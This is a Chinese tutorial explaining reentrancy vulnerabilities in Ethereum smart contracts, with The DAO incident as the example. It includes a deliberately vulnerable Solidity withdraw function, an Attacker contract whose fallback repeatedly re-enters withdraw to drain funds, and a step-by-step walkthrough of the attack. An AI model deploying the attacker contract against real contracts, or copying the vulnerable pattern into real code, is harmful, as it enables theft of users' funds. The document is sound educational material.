### 说说重入漏洞

什么是重入漏洞？

简单来说，重入漏洞发生在以下情况： 一个智能合约在调用外部合约或地址（如通过`call`、`send`或`transfer`发送以太币）之后，未及时更新内部状态

当外部合约或地址接收到以太币时，它可以执行一个回退函数（Fallback Function）。如果这个回退函数中又包含一个对原始合约的调用，那么它就可以在原始合约的状态（比如余额记录）更新之前，再次执行之前的函数，形成一个无限循环，直到合约中的以太币被取光

重入漏洞的经典案例：The DAO

最具代表性的重入漏洞攻击是发生在 2016 年的 The DAO 事件。当时，黑客利用这个漏洞从 The DAO 智能合约中盗取了价值超过 6000 万美元的以太币。这次攻击导致了以太坊社区的巨大分歧，最终促成了以太坊（ETH）和以太坊经典（ETC）的分叉

重入漏洞的工作原理

我们以一个简单的取款合约为例来详细解释这个过程：

存在漏洞的合约代码

    contract VulnerableContract {
        mapping(address => uint256) public balances;

        function withdraw() public {
            // 步骤 1: 检查用户余额
            uint256 amount = balances[msg.sender];

            // 步骤 2: 将以太币发送给用户
            // 这是一个危险的操作，因为`call`会触发接收方的回退函数
            (bool success, ) = msg.sender.call{value: amount}("");
            require(success, "Transfer failed.");

            // 步骤 3: 更新用户余额
            // 这步在外部调用之后，是漏洞的关键
            balances[msg.sender] = 0;
        }

        // 其他函数...
    }

黑客合约代码

    contract Attacker {
        VulnerableContract vulnerableContract;

        constructor(address _vulnerableContract) {
            vulnerableContract = VulnerableContract(_vulnerableContract);
        }

        // 步骤 1: 首次调用受害合约的提款函数
        function attack() public payable {
            vulnerableContract.withdraw();
        }

        // 步骤 2: 回退函数，当接收到以太币时被触发
        fallback() external payable {
            // 如果受害合约的余额大于 0，再次调用它的提款函数
            if (address(vulnerableContract).balance > 0) {
                vulnerableContract.withdraw();
            }
        }
    }

攻击流程解析：

1. 准备：黑客向 `VulnerableContract` 存入少量以太币，以获得一个非零的余额
2. 首次调用：黑客通过 `Attacker` 合约调用 `VulnerableContract` 的 `withdraw()` 函数
3. 漏洞触发：
   - `VulnerableContract` 检查黑客余额，然后向 `Attacker` 合约发送以太币
   - `Attacker` 合约接收到以太币后，其 `fallback` 函数被立即触发
   - 在 `fallback` 函数中，黑客再次调用 `VulnerableContract` 的 `withdraw()` 函数
4. 递归循环：
   - 由于 `VulnerableContract` 的 `balances[msg.sender] = 0` 这一行代码尚未执行，`VulnerableContract` 以为黑客的余额仍然存在
   - `withdraw()` 函数再次执行，又一次向 `Attacker` 合约发送以太币，再次触发 `fallback` 函数
5. 耗尽资金：这个过程会反复进行，直到 `VulnerableContract` 中的所有以太币被耗尽